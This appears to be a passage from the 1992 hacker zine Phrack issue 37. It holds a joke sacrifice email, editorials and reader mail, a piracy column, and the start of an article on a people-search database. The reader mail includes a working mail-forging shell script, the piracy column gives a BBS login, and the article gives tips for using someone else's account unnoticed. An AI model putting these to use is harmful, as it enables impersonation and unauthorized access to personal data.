>From machine@bu2.scso.umi.edu Tue Aug 27 20:18:05 1991 Return‑Path: <machine@bu2.scso.umi.edu>

Received: by bu2.scso.umi.edu (4.1/SCSO‑4.1)

id AA00359; Fri, 27 Sep 91 20:18:00 CDT

Date: Fri, 27 Sep 91 20:18:00 CDT

From: machine@bu2.scso.umi.edu (The Machine)

Message‑Id: <9109280118.AA00359@bu2.scso.umi.edu>

To: jux6710a@bu2.scso.umi.edu (Ulrich Jenson)

Subject: It is your time.

Status: R

Dear Ulrich.

This is the machine. As you are aware, extraordinary hardware demands extraordinary care.

You have the honor of being selected for this month's human sacrifice. Please put your affairs in order. The time of the sacrifice will be Fri Sep 13 00:00 1991. Please be prompt. Wear loose, comfortable clothing.

Do not disappoint me.

& x

bu2 /sci/users3/jux6710a man ‑k sacrifice

offer (2) ‑ notify the system of a sacrifice offering (8) ‑ send a sacrifice to the hardware god

bu2 /sci/users3/jux6710a man 8 offering

OFFERING(8) MAINTENANCE COMMANDS OFFERING(8)

NAME

offering ‑ send a sacrifice to the FPU

SYNOPSIS

/usr/etc/offering [ ‑vma ] [ weight ]

DESCRIPTION

offering informs the system that a sacrifice is available and should be consumed. To be properly offered to the FPU, a conscious victim should be placed in the provided sacrificial wiring closet at midnight during the second Friday of each month. Failure to provide the needed flesh will result in degraded performance. Repeated failures to provide the required resource will eventually result in a general system failure of hellish proportions.

Performance will be improved if the sacrifice is of higher quality. For example, here is a list of possible sacrifices in their order of increasing desirability:

a Congressperson, chicken, goat, human male (tainted), human male (virgin), human female (tainted), human female (virgin), any user exceeding his/her disk quota

Unlisted lifeforms may also be acceptable, check with your site administrator. Animals may never be surgically modified in anyway.

OPTIONS

‑v Specify that the sacrifice is a virgin. Default is tainted. If you wish the sacrifice to be acknowledged as a virgin, you must specify with this option or the system will not check.

‑m Specify that the sacrifice is a male. Default is female. Unlike the ‑v option, the system will always verify this flag. Always double check the gender of your human sacrifices; the system does not appreciate a lier.

‑a Specify an animal sacrifice. Overrides both the ‑v and ‑m options. Animals should only be substituted in times of drastic emergency. Congresspersons may not be offered as animals.

FILES

/var/adm/sctmp sacrifice accounting file

/dev/hell interface for outgoing sacrifices /dev/altar interface to closet

SEE ALSO

offer(2), ac(8)

BUGS

It is critical to monitor the permissions to /dev/hell. They should be root writable only at all times.

Should automagicly determine gender and virgin status of sacrifice.

Current versions of the sacrificial wiring closet needs extra sound shielding to muffle screams.

bu2 /sci/users3/jux6710a man vacation

________________________________________

LORD McDUFF OF NIA FOUND DEAD

A sad situation fell upon us at HoHoCon '91 as we found Lord McDuff of NIA dead in his room. It appears after several negative confrontations with the strippers. He had given them them money in hopes that they would squirm all over him, but instead they chose just to refund his money.

McDuff fell in a deep depression and apparently shot himself in the head with a flying disc gun. After speaking to several people at the scene we quote Judge Dredd of NIA, "I knew something like this would happen. He carried that damn gun with him all during the conference. I knew I should have taken it away from him."

________________________________________

37

- Introduction by Dispater

- Phrack Loopback by Phrack Staff

- Pirate's Cove by Rambone

- Exploring Information-America by White Knight & The Omega

- Beating The Radar Rap Part 1 of 2 by Dispater

- Card-O-Rama by Count Zero

- Users Guide to VAX/VMS Part 2 of 3 by Black Kat

- Basic Commands for the VOS System by Dr. No-Good

- The CompuServe Case by EFF

- PWN Special Report VI on WeenieFest '92 by Count Zero

- PWN/Part 1 by Spirit Walker

- PWN/Part 2 by Spirit Walker

- PWN/Part 3 by Spirit Walker

- PWN/Part 4 by Spirit Walker

Introduction

==Phrack Inc.==

Volume Four, Issue Thirty‑Seven, File 1 of 14

Issue XXXVII Index

__________

P H R A C K 3 7

March 1, 1992

__________

~Promoting The Free Exchange Of Information In The New World Disorder~

WELCOME TO PHRACK VOLUME FOUR!

"I'm too sexy for my Phrack... Imagine that!"

Looking back at Volume III, we observe some historic dates relating to Phrack:

02/24/89 ‑ Phrack 24 released.

01/18/90 ‑ Knight Lightning raided by the U.S. Secret Service because he was editor of Phrack.

01/23/90 ‑ Phiber Optik and Acid Phreak raided by U.S. Secret Service. 02/06/90 ‑ Knight Lightning and The Prophet indicted in Federal District Court in Chicago, Illinois. The Prophet, The Leftist, and The Ur‑Vile indicted in Federal District Court in Atlanta, Georgia. 02/15/90 ‑ Knight Lightning enters plea of NOT GUILTY.

03/01/90 ‑ Erik Bloodaxe, The Mentor, and Steve Jackson Games raided by U.S. Secret Service.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Phrack is BACK! Welcome to the first issue of Phrack Volume Four! This issue we feature "Exploring Info‑America" by The Omega and White Knight. Other articles of note include TWO articles by Count Zero, Black Kat's latest installment on his VAX/VMS series, and information on VOS by Dr. No‑Good! Also, starting this issue, we introduce Pirate's Cove by Rambone. Its a new regular column about the pirate community. Finally, a very special thanks goes out the the newest member of the Phrack Staff, Spirit Walker for the help with assembling this issue.

There is a little surprise in Phrack Loopback. Our old pal THE DICTATOR has been corresponding with Knight Lightning and myself over the nets. Yes, you heard right! Dale Drew, who played a key role in busting people during OPERATION SUN‑DEVIL and spying on our friends at SummerCon '88 is back and believe it or not... he wants Phrack! And speaking of Operation Sun‑Devil, the federal government convicted their first defendant ‑‑ details in Phrack World News (Part 2).

Phrack World News (Part 3) contains everything you need to know about how the Regional Bell Operating Companies feel about our private hobby bulletin boards and next issue we will have information about what YOU can do about it! Also, next issue watch for preliminary details for SummerCon '92!!! Will ESP be there again?

Before the rumor mill starts churning again, I will clarify what is happening with Phrack management. Crimson Death has decided to retire from Phrack and start working on his new UNIX based BBS, CyberWaste! If you are interested in keeping in touch with Crimson Death, you may do so by writing: cdeath@GNU.AI.MIT.EDU for the time being. However, keep an eye out for the CyberWaste hostname; @DEMONSEED.COM!

Well that's it for now. If you are going to the Second Conference on Computers, Freedom, & Privacy (a/k/a CFP‑2) in Washington, D.C. (March 18‑20, 1992), Knight Lightning and I will see you there!

Sincerely,

Dispater

phracksub@stormking.com

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

HOW TO SUBSCRIBE TO PHRACK MAGAZINE

The distribution of Phrack is now being performed by the software called Listserv. All individuals on the Phrack Mailing List prior to your receipt of this letter have been deleted from the list.

If you would like to re‑subscribe to Phrack Inc. please follow these instructions:

1. Send a piece of electronic mail to "LISTSERV@STORMKING.COM". The mail must be sent from the account where you wish Phrack to be delivered.

2. Leave the "Subject:" field of that letter empty.

3. The first line of your mail message should read:

SUBSCRIBE PHRACK <your name here>

4. DO NOT leave your address in the name field!

(This field is for PHRACK STAFF use only, so please use a full name)

Once you receive the confirmation message, you will then be added to the Phrack Mailing List. If you do not receive this message within 48 hours, send another message. If you STILL do not receive a message, please contact "SERVER@STORMKING.COM".

You will receive future mailings from "PHRACK@STORMKING.COM".

If there are any problems with this procedure, please contact "SERVER@STORMKING.COM" with a detailed message.

You should get a conformation message sent back to you on your subscription.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Phrack FTP Sites ‑‑ Here is the short list of some reliable sites. A more ~~~~~~~~~~~~~~~~ extensive list will appear next issue.

Washington University in St. Louis WUARCHIVE.WUSTL.EDU

128.252.135.4

Location: /doc/policy/pub/cud/Phrack

Electronic Frontier Foundation EFF.ORG

192.88.144.3

Location: /pub/cud/Phrack

University of Chicago CHSUN1.SPC.UCHICAGO.EDU

128.135.46.7

Location: /pub/cud/phrack

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by Dispater 08K

2. Phrack Loopback by Phrack Staff 15K

3. Pirate's Cove by Rambone 08K

4. Exploring Information‑America by The Omega & White Knight 51K 5. Beating The Radar Rap Part 1 of 2 by Dispater 44K 6 Card‑O‑Rama: Magnetic Stripe Technology and Beyond by Count Zero 44K 7. Users Guide to VAX/VMS Part 2 of 3 by Black Kat 25K 8. Basic Commands for the VOS System by Dr. No‑Good 10K 9. The CompuServe Case by Electronic Frontier Foundation 06K 10. PWN Special Report VI on WeenieFest '92 by Count Zero 14K

11. PWN/Part 1 by Dispater and Spirit Walker 31K

12. PWN/Part 2 by Dispater and Spirit Walker 30K

13. PWN/Part 3 by Dispater and Spirit Walker 29K

14. PWN/Part 4 by Dispater and Spirit Walker 31K

Total = 346K

One last thing... Ninja Master, this one's for you!

"But you see you are not anybody. You are nobody. And you chose to be so of your own free will. Legally ‑‑ officially ‑‑ you simply don't exist!"

Phrack Loopback

[‑=:< Phrack Loopback >:=‑]

By Phrack Staff

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

________________________________________

Review of 2600 Magazine Autumn 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PO Box 752 Individual Subscription Rates:

Middle Island, NY 11953 US : 4 issues (1 year) $21.00 InterNet: 2600@well.sf.ca.us OS : 4 issues (1 year) $30.00 Phone: 516‑751‑2600 Corporate / Business Rates:

Fax: 516‑751‑2608 : 4 issues (1 year) $50.00

By Dispater

2600 Magazine has been published since 1984 by Emmanuel Goldstein. "The Hacker Quarterly" runs just shy of 50 pages and is printed with nice glossy covers to make a 5.5"x8.25" magazine. In 2600 you will find the usual articles about hacking and phreaking, as well as a few surprises. 2600 often covers topics that do not necessarily pertain to hacking or phreaking, but are quite useful. There is also a "letters to the editor" section and even a place for people to buy/sell goodies.

This particular issue contains an article on Simplex locks and how easy it is to open them. Included are pictures of opened Federal Express mail boxes that use Simplex locks. The next most interesting thing I found was an article on those strange little lines on business letters. "Postal Hacking" will not necessarily tell you how to mail letters for free, but will tell you how you can speed up the process of delivery for free. Then there was the the "Protecting Your Social Security Number" article that was recently printed in Phrack Inc Issue 35.

There was also an article about the video tape of the Dutch hackers breaking into the military systems. 2600 even offers to sell the videotape that was partially played on the evil Geraldo Show [dick]. There was also a good article written about psychology in the hacker world. The somewhat Freudian analysis of the female security agent fearing "mounting" (of her hard drive), "penetration" (of her system), "infection" (from viri), and "has a headache" (due to hackers) was insiteful as well as very funny. Moving on to the other parts of 2600, you can find scattered tidbits of misc information (ie: lists of COCOTs, NUAs, ANIs, small useful programs, and interesting business/government forms they get from readers, etc)

Finally, this is the part that everyone complains about, the price. But, 2600 has a great deal for those poor college hacker out there. If you submit something to 2600 Magazine that is printed, you get a free subscription. That sounds fair to me! Maybe we should try the same thing with Phrack?

All in all 2600 Magazine is a GREAT publication and is highly recommended.

________________________________________

What's On Your Mind?

~~~~~~~~~~~~~~~~~~~~

:: Some People Never Get The Hint ::

Recently Phrack Inc. received a subscription request from an individual who played a key role in Operation Sun‑Devil. You may know him from bulletin boards where he often used names like "The Dictator" or "Blind Faith." We know him as Dale Drew. Who would imagine that he would dare to ask us for a subscription? I personally couldn't believe it.

Just in case you forgot or have been living in a hole for the past two years, Dale Drew was a paid United States Service informant who secretly enabled government agents to videotape SummerCon '88 in St. Louis, Missouri.

The following is an example of a Dale Drew/The Dictator/Blind Faith posting on a bulletin board. He claims to be a cosysop on Lutzifer as well as some other nonsense.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ZDDDDD Packet Switching Networks/PSNs DDDD September 27, 1991 at 8:52 pm DDDDD? 3 Left by Blind Faith (Level 40)Title: Telenet (No Replies)3

3 > <‑702‑> CoSys on Lutz (Tymnet) <To: Anyone3 @DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDY

Couple of Things:

Anyone, besides myself, have any experience with Tymnets and/or Telenet debuggers? (Xray, TDT2, Isis, etc)... TDT2 on Telenet is great, cus on the private nets they've got a hard‑coded password...always gets you in. They used to have it on the public net too, but about two years ago they fixed it. (maybe nbot all of it, but I cant find any that still do)

sprint is a tymnet nui that goes to telenet

telenet is changing there host format. they are adding an extra digit (too many hosts, i guess). so be on the look out for that. Im not sure when, but the customer service rep, was VERY helpful..

‑‑BF

"What, me worry?"

[Message menu] Command (?/Help):

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Dale Drew is currently working for Tymnet security. For more information about the activities of Dale Drew, it is highly recommended that you read Computer Underground Digest (CUD) Issue 3.02.

Since I knew that Knight Lightning would enjoy (smirk) hearing from his old pal, I forwarded the mail appropriately to Knight Lightning's email address.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: ddrew@btnagns.Tymnet.COM (Dale Drew)

To: phrack@stormking.com

I would like to have my name added to the Phrack Mailing List. In the past, I have been getting the Phracks from the University of Chicago, but it would be more convenient to have the Phracks mailed to me.

Also, I was terribly disappointed to see that Phrack had decided to lower its standards of information by releasing the contents of Phrack issue #36.

Dale Drew

Sr. Information Security Specialist

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Knight Lightning

To: Dale Drew

Dale (DicKtator/Blind Faith) ‑‑ I have to admit that you have balls to send a letter to my friends at Phrack and requesting a subscription.

You are a paid informant for the Secret Service. You set people up to get busted. You take people's trust and turn on them. You are a liar and a fraud. You know, Dale, I never imagined such things until a couple of weeks before I went to trial and I had the opportunity to watch those video tapes of SummerCon '88. You and your fascist Secret Service law enforcement friends definitely put one over on us (even if there isn't anything illegal taking place on those tapes... Great way to spend the taxpayers' money).

So when you wrote to Phrack the other day, did you really think they would not know who you were? Did you expect a warm welcome?

During the time that I was editor of Phrack, I had a policy of inviting law enforcement and security people on to the Phrack mailing list. I don't run Phrack anymore, but my recommendation to the current editors is very simple. They should not send Phrack to you... not because you are with law enforcement... because you are the LOWEST FORM OF LIFE and deserve nothing except our strong dislike.

In short ‑‑ I speak on behalf of the modem community in general, "FUCK OFF GEEK!" Crawl back under the rock from whence you came and go straight to hell!

Knight Lightning

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Dale Drew

To: Knight Lightning

Craig,

Apparently you are not as mature as I was led to believe. Not being on the Phrack mailing list is not a concern to me, it was merely a convenience. Phrack, as I am sure you are aware of, is available all over the net and I will just continue to receive my copies from there.

I had no idea that you and the newly founded editors of Phrack have decided to become so childish. But I suppose things will never change, and that I am sad to see.

‑‑Dale

________________________________________

:: Best Evidence ::

From: John Higdon

To: Dispater

> Dispater writes:

>

> I think the joke issue of Phrack (36) will contain a top 10 list of stupid > things the SS likes to take.

I am consulting with the defense for an up coming trial and had the opportunity to examine the "evidence" seized in the defendant's home. Notable items: model rocket launcher, local area street maps, about a dozen 2500‑style telephones, a typewriter, pre‑recorded audio cassettes. An interesting item was left behind: a TSPS console.

One wonders what (if anything) goes through the minds of the officers executing the warrant.

John

________________________________________

:: Fed Proof Your BBS, NOT! ::

I'm sure many of you have seen text files on making your BBS more secure. One such file floating around is by Babbs Boy of Midnight Society. One of the members of our Phrack Staff showed this document to EFF's Mike Godwin, who is an attorney. He had the following comments:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Mike Godwin

To: Phrack Inc.

(In regards to some of the files about how to "fed‑proof" your bbs:)

> Let's start with the log on screen: If FEDZ want anything from your board, > they are required to provide 100% accurate information.

This is false. Ask the legislators who've been convicted in "sting" operations. In fact, so far as I can tell in a brief run‑through of this document, absolute no part of the so‑called "legal" advice is true.

Law enforcement agents who misrepresent their identities (e.g., "undercover agents") produce admissible evidence all the time.

‑‑Mike

________________________________________

:: Diet Phrack is Good For You ::

From: Gordon Meyer

To: Dispater

Subject: Phrack #36

Thanks for sending over Diet Phrack! It looks like some of the old energy has finally been renewed. I especially liked the introduction, there is intensity, pride, and humor sprinkled thru out. Reminds me a lot of some of the "old" PHRACK issues. Neat!

Later,

Gordon R. Meyer

________________________________________

:: Anonymous Mail ::

From: Creeping Death

> Hi guys. I was wondering if you could tell me how to send anonymous > mail. I heard that you could but no one here at my university seems to have > a clue. Please help me out

>

There are many ways to do this. One way is to use the method described below. However, keep in mind there are other ways of doing this.

Dispater

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Anonymous Mail via SMTP Using A Simple Shell Script

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From: The Artful Dodger

This file is for those people who like/want to send anonymous mail via the net but don't like the hassle of raw SMTP commands. So, I wrote a simple shell script to take care of this. This program is quite simple but I will give a brief explanation anyway.

There are two ways to run this program. Just type the name you save it as or the name you save it as plus the person you want to mail. Either way you will eventually get to the From: prompt. If you just hit return at this prompt it will assign your userid@your hostname. Otherwise you can type whatever you feel like.

Next you will get the prompt asking you which host you wish to use for SMTP. If you are using the host you are on, just hit return as this is the default. Otherwise enter any host that allows telnet to port 25. Then you get to pick which editor you wish to use for mailing. It defaults to vi but you can use whatever you like. Basically, that is all there is interactively. After you enter this information, the program creates a file called tmpamail1. To this file it appends four lines of data. The first line is 'helo amail' as some host's SMTP port will not accept commands until one introduces themself to the host. The next line is 'mail from: ' and who the mail is from or who it is supposedly from. The third line contains 'rcpt to: ' and who the mail is going to. And the last line is simply the word 'data'.

Now, these commands could all be entered manually but why bother when you have a program to do it for you. Ok, now the program invokes your editor and creates a file called tmpamail2. After you are done making the message and you exit the editor, it asks you if you want to send this message. I believe that is pretty much self explanatory. Then the program appends a '.' and a 'quit' to tmpamail2. Then it appends tmpamail2 to tmpamail1 so you have one file containing all the necessary header info to send a message via SMTP and quit >from SMTP. Then the program sends all this to port 25 of the host that was specified. And if all goes well, the person should have some mail waiting for them. And one last thing. The program deletes both tmpamail files after it is finished. Well, I hope you all enjoy this little script as it makes sending anonymous mail a little easier.

The Artful Dodger

========================================

#! /bin/csh ‑fB

### This is a simple shell script for easy use of anonymous mail. To run the ### program just save it and delete everything up until the #! /bin/csh ‑fB ### line. Then just type the name you save it as or the name and whoever ### you will be mailing. e.g. amail bill@some.university.edu or just amail. ###

### The Artful Dodger

if ($1 != "") then

set mto=$1

else

echo 'To: '

set mto=$<

endif

echo ‑n 'From: '

set mfrom=$<

echo ‑n 'Use which host for smtp (return for '`hostname`') ? '

set usehost=$<

echo ‑n 'Use which editor (return for vi)? '

set editor=$<

if($editor =="") then

set editor=vi

endif

if ($mfrom == "") then

set mfrom=`whoami`'@'`hostname`

endif

echo 'helo amail' >> tmpamail1

echo 'mail from: '$mfrom >> tmpamail1

echo 'rcpt to: '$mto >> tmpamail1

echo 'data' >> tmpamail1

$editor tmpamail2

clear

echo ‑n 'Are you sure you want to send this? '

set yorn=$<

if($yorn == 'y') then

echo . >> tmpamail2

echo quit >> tmpamail2

cat tmpamail2 >> tmpamail1

telnet $usehost 25 < tmpamail1 > /dev/null

echo 'Mail has been sent to: '$mto

echo ' From: '$mfrom

endif

rm tmpamail1 tmpamail2

Pirate's Cove

Pirates' Cove

Issue One

A New Regular Column Appearing In Phrack Magazine

By Rambone

1) Introduction

Well first off, I'd like to introduce myself. I go by the handle Rambone, and I run a board in the Midwest area. I'm sure a column like this is a shock to a lot of reader's, but after talking to Dispater, many readers, and people in the hacking and pirate world, we came to this conclusion: Piracy and *Warez Dudez* have come a long way in the last five years, and are a definite part of the underground. Whether you read the magazine for information about hacking, phreaking, or even those great PWN stories, I think this column will be a welcome part of Phrack Magazine.

2) Virii

Some poor unsuspecting fool downloads a program, unzips it, and instead of checking it for a virus, starts the program up. After deciding it's a lame game, he deletes it and turns off his computer, going to sleep without a worry in the world. The next day he wakes up and tries to turn on his computer, but it tells him, "Bad or missing COMMAND.COM" or something of that nature.

This is just an example of what's happened to countless people in the pirate world, not expecting what is soon to be hours of frustrating reconstruction of his hard drive. Even though virii have been a common problem for many years, it hasn't been until recently that they have made an impact in the Pirate world.

Whether it's bickering between groups, or even a lonely individual who has absolutely nothing better to do than beat his meat and put out a trainer with a fucking virus in it, it is wrong. The people responsible for it that play a roll in the distribution of the software are, in my opinion, the biggest culprits; they know what they are about to do, and have no conscience in sending it out. Just the mere fact that the only way they think they can get back at another group is by distributing a program with a virus or a Trojan is moronic.

I'm not preaching the fact that groups should or should not bicker. That is always going to happen. What I an saying is that there is a responsibility by the groups to be cool and stop the distribution of programs with virii or Trojan's. On the flip side of the coin, most sysops do not intentionally send out these infected programs. They are sent up to the BBS, and by the time they are caught, it's too late, and they are already all over the country.

My main concern is for the user. If all one group was doing was giving another group problems, then there wouldn't be one. But to irresponsibly release a program containing a virus has to be one of the lowest retaliatory responses that can be done in the pirate world, and needs to be stopped to bring piracy back to a higher level it once had before the rash of bombs began.

*Note to user*

Most virii are in the form of trainers and cracks, so be wary of every one you have or get. The best way to check is with PKUNZIP ‑T and McAffee's Virus Scanner; I've found it to be the most reliable. If anyone is having trouble with being able to temporarily open a .ZIP, .ARJ, etc., I have a sharp .BAT file to do this and will type it up in a future issue. DO NOT use a program without at least scanning the directory you unzipped it to, even though scanning the zip is much safer.

3) Nets

Some issues here will be the discussion of up and coming nets, as well as established ones. Let me first explain what a net is: a net is a group of messages sent out over the networks via modem. They are then received by a BBS and sent to the appropriate message subs for the sysop and users to read. One up and coming net in particular that would be appealing to a wide variety of sysops is called "CyberCrime." This net is looking for boards that are Fido compatible, i.e.: LSD, Telegard, WildCat, Tag, Remote Access, Omega, QBBS, Paragon, Infinity, Revelation, Cypher, etc. This net is heavy into P/H/C/A as well as pirate discussions. They are also hooked into TSAN general discussions and are working on sysop's connections with other nets. If you are interested in joining this net, apply at Infinite DarkNess, (305)LOOK4‑IT, log on as Cybercrime and password=Death, and follow the instructions. Fill out the CyberCrime node application. MidNight Sorrow will call your BBS (must be a full‑time system), login, and upload CYBER.ARJ, the CyberCrime official start‑up kit. After that, you're in.

4) BBSes

Because of NSHB/USA/TGR busts, I have decided to hold off on any reviews of BBS's. Hopefully the paranoia over these busts will subside, and we can pick this area back up.

5) News Update

Well, as we all know by now, The NotSoHumble Babe and The Grim Reaper, sysop of The Void, got busted for carding. This has been written up and talked about in every magazine out, so all I'm going to say is that it's brought a lot of paranoia to the pirate community, and some good boards have gone down as a result. Since I have not spoken to Amy or Mike about this I will not go into specifics. Amy (NSHB) was a member of USA (United Software Association) and Mike (TGR) ran a BBS called The Void, and was an INC Distro Site. But until I hear back from a certain person at USA, I'm not going to talk about some 3rd party gossip, so this will be continued in the next issue.

6) New Warez

Game of the Month:

Star Trek: 25th Anniversary

Graphics [CGA/EGA/VGA]

Sound [ADL/SNB/PCSPK]

Controls [Mouse/JS/KYB]

Cracked by [EMC/USA/Razor?]

Supplied by [?]

Cracked by [Separate Crack]

Protection [Dox Check]

Three cracking groups claimed to put this out first. Since I saw it released by EMC first for a few hours, this is who I'll go with. This is one of those games that, whether you are a Trekkie fan or not, you'll love. The opening screen depicts the Enterprise screaming across your screen, and the music from the original soundtrack blares through your speakers (if you use a soundcard). You then are thrust into a mock battle with another ship, and your adventure begins. You are then directed by Star Fleet to go on your first mission, where you will try and save a planet. The graphics are excellent, and remind me a lot of the new Sierra‑type games, with the backgrounds painted in. This game has an adventure theme as well as several space combat scenarios, and a mouse is recommended to be able to get around as quickly as you can in combat scenes. The puzzles involved are very hard, and there is both a walk‑through and cheat out on your local BBSes. So if you cannot get through some of the puzzles, there is help out there; you just have to find it.

*Note*

Well that's it for now. I had to take out 60% of this article because many people are laying low for a couple of months, so look for more in‑depth coverage in the future including interviews, BBS reviews, profiles, and

Exploring Information-America

:===:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=

:==

:== Exploring Information‑America ==:

:== :===============

:== by ==:

:== The Omega White Knight ==: :== Restricted Data Transmissions (RDT) Cult of the Dead Cow (‑cDc‑) ==:

:==

:==

:== "Truth Is Cheap, But Information Costs!" ==:

:==

:== ‑‑‑‑‑‑‑‑‑‑‑

:==

:== "Textfiles: We're in it for the girlies and the money." ==:

:==

:== Monkey‑Boyz! 1/24/92 ==:

:===:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=

Introduction

~~~~~~~~~~~~

The Information Era has only recently come of age; powerful database technology has become more affordable to implement (witness MCI's ability to maintain a database of the people you most frequently call for participation in its Friends & Family program), and parallel to it, information gathering has become more extensive and more scrutinizing. After weapons manufacturing, and drug running, "information gathering" is probably one of the most profitable enterprises in America.

Over the past two decades, credit bureaus, telephone companies and direct marketers have collectively amassed complete consumer profiles on over 150 million Americans. But for the most part, this information has been used only to predict consumers' future buying habits, or worse: to influence them. For billing and marketing purposes, up‑to‑date address and telephone information, as well as information about your household has been incidentally maintained.

But, until recently, none of this information was COMMERCIALLY available IN A SINGLE DATABASE, specifically with law enforcement, private‑investigators, bounty‑hunters and lawyers in mind. To our knowledge, Information America is the first accessible service to make use of previously collected data for the expressed purpose of providing the up‑to‑date whereabouts, personal profiles and information regarding legal entanglements (i.e., bankruptcy filings, lawsuits, etc.) of as many Americans as possible.

Information America

~~~~~~~~~~~ ~~~~~~~

"Whether you are conducting a background check, looking for a witness, skip tracing, or gathering information for court, [Info America] gives you a quick, easy method for gathering information on individuals across the country... at the touch of a key."

Information America (IA) provides a single service whose databases crossindex the Postal Service's National Change of Address file (NCOA), major publisher and direct marketing companies' client information, birth records, driver's license records, phone books, voter registrations, various governmental records, and more. IA boasts that over 111 million names, 80 million households and 61 million telephone numbers are maintained (as reasonably up‑to‑date as possible) on‑line.

Together with IA's access to additional databases, such as Dun & Bradstreet, Secretary of State records and records from up to 49 government agencies, you can:

* Locate a missing defendant or witness and obtain a neighbor listing for further investigation.

* Locate corporate officers, share‑holders, or missing heirs.

* Locate individuals for collection purposes.

* Locate a fugitive parent who's kidnapped his child from the other parent during a custody battle.

* Identify the corporate affiliations of an individual.

* Examine bankruptcy, lawsuit, liens and judgement records on individuals and businesses.

* Examine Securities and Exchange Commission filings and business news compiled from major newswires.

* Gather information about a company's officers, ownership, financial status and parent/subsidiary relationships.

* Determine if a foreign corporation has a resident agent for local service of process (i.e., for serving a lawsuit).

Logging onto IA

~~~~~~~ ~~~~ ~~

Access to Information America is provided through your local Tymnet dialup (7‑E‑1); use a terminal identifier of 'a', and type "infoam" at the "please log in:" prompt. IA will prompt you with the familiar VAX 'USERNAME' and 'PASSWORD' prompts. Usernames of the form "BIDAxxxx" (where x is a digit) are recognizable to the VAX as IA accounts and cause it to execute the script that provides the interactive database environment once the correct password is supplied. Accounts which bypass the interactive environment and provide you with the normal VAX shell‑access must exist, but neither White Knight nor I have explored that avenue.

In any event, once you log on, you are greeted with something similar to:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Title Screen ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Welcome to VAX/VMS version V5.4‑2 on node ALAMO

Last interactive login on Thursday, 17‑SEP‑1991 12:47

COMPUTER EQUIPMENT SELECTION MENU

What type of computer equipment or software are you using?

1. PERSONAL COMPUTER (or 100% IBM compatible)

2. PERSONAL COMPUTER with WESTMATE SOFTWARE

3. WESTLAW TERMINAL

4. OTHER EQUIPMENT

5. NETWORK SYSTEM (TTY)

99. EXIT OFF SYSTEM

Please call Information America's Client Support at 1‑(800) 235‑4008 if you would like assistance.

Please specify number: 1

* * * * * * * * * * * * * * * * * * *

*

* W E L C O M E T O T H E *

*

* I N F O R M A T I O N A M E R I C A N E T W O R K *

*

* * * * * * * * * * * * * * * * * * *

For details select menu option 75 on the beginning IA Menu

* Information America Expands California Lawsuits!

* Global Real Property Asset Locator Now Online!

* Cover All the Bases...Using the NEW, IMPROVED CORPORATE GLOBAL Service!

Enter your name (last name first): public, john

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Title Screen ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In most cases, IA's clients use IBMs or compatibles to connect. However, option 1 (PERSONAL COMPUTER (or 100% IBM compatible)) works well enough for anyone who can emulate VT‑100.

The "Enter your name (last name first)" prompt is purely for your own internal billing purposes so that you, as a legitimate account holder, can track account use by separate members of your corporation. Hypothetically speaking, if someone were interested in accessing the system without a valid account of their own, the most likely way to alleviate suspicion would be to use the name of someone who actually works at the account holder's organization ‑‑ the account holder himself, for instance.

At some point, IA will prompt you to enter a Client Billing Code. Again, this information is purely for the account holder's own internal billing purposes. IA is an expensive service; on top of the $95 per month fee, there are hourly connect charges, per‑item charges and several hidden costs. If only for that reason alone, IA's clients tend to be very anal about cross‑checking their itemized bills. If possible, provide a Client Billing Code which is consistent with the account holder's organization's billing code scheme.

Information America: Main Menu

~~~~~~~~~~~ ~~~~~~~ ~~~~ ~~~~

There are 19 main search‑options available through IA, which fall into three categories:

‑ Corporate, UCC, & Related Records

‑ Nationwide Services

‑ County & Court Records

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Main Menu ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

INFORMATION AMERICA NETWORK 1

